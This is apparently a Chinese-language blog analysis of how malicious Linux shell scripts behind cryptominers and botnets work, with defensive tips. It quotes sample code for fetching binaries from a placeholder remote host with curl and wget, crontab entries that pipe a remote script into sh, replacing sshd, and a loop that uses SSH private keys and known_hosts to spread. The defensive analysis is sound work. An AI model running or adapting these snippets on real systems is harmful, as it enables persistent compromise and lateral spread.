GNU/Linux 恶意脚本分析与防范
在最近两年中,见到了越来越多客户的 GNU/Linux 主机饱受挖矿、僵尸程序的影响,我在此不断剖析一些实际的恶意脚本工作原理,望理解原理后能做好服务器安全。
GNU/Linux 上的恶意脚本目前还没有像 Windows 环境那样特别复杂,通常是一个 sh 脚本负责下载恶意程序、维持权限、传播自身等工作;下载的恶意程序一般就是我们见到的挖矿、后门或者僵尸程序了。
1. 技术手段分析
1.1. 远程下载
一般恶意程序都放在一台 HTTP 服务器上,中招的主机会用 curl 或 wget 命令来下载恶意程序,考虑到有些 GNU/Linux 发行版中缺少其中一个命令,脚本一般是都各尝试一次,如:
if [ ! -f 恶意程序 ]; then curl -fsSL http://远程地址/恶意程序.$(uname -m) -o 恶意程序 fi if [ ! -f 恶意程序 ]; then wget -q http://远程地址/恶意程序.$(uname -m) -O 恶意程序 fi
一般恶意程序都编译了多种不同处理器架构的版本,以适应不同的主机;下载的时会考虑到多架构问题,所以通常会执行 uname -m 命令获得处理器架构,然后下载不同的版本。
1.2. 自我维持
为了防止被删除,最常见的手段就是偷偷摸摸在 crontab 中增加定时任务,定期去下载恶意脚本,脚本再检查程序是否被删除:
echo "*/5 * * * * curl -fsSL http://远程地址/恶意脚本.sh | sh" > /var/spool/cron/root echo "*/5 * * * * wget -q -O- http://远程地址/恶意脚本.sh | sh" >> /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/5 * * * * curl -fsSL http://远程地址/恶意脚本.sh | sh" > /var/spool/cron/crontabs/root echo "*/5 * * * * wget -q -O- http://远程地址/恶意脚本.sh | sh" >> /var/spool/cron/crontabs/root
当然,更高级一点的就是替换掉系统的程序,比如下面这个样本中就替换掉 sshd:
if [ ! -f 恶意程序 ]; then ... cp 恶意程序 /usr/local/sbin/sshd fi
因此,服务器一旦出现中招现象:
- 用 chkrootkit 检查文件是否被篡改;也可以将 /bin、/sbin、/usr/local/bin、/usr/local/sbin 等目录下的文件 MD5 计算出来,再找一台相同系统的计算出来做对比;
- 检查 crontab 中是否有异常。
1.3. 自我传播
某客户的服务器上不存在主机弱口令、Redis 对外等问题,但仍旧被种了挖矿程序,后来我拿到样本后,看到这句:
for file in /home/* do if test -d $file; then if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '执行下载宿主脚本 &' & done fi fi done
显而易见,一旦有一台机器中招后,脚本会自动检查 home 目录下的 SSH 私钥,然后从 ~/.ssh/known_hosts 中读取登录过的主机地址,接着逐一尝试登录并下载速宿主脚本来执行。
无论是开发者自己的机器,还是测试环境,或是其他服务器中招,只要存在 SSH 私钥没加密,都可能会让它自我传播。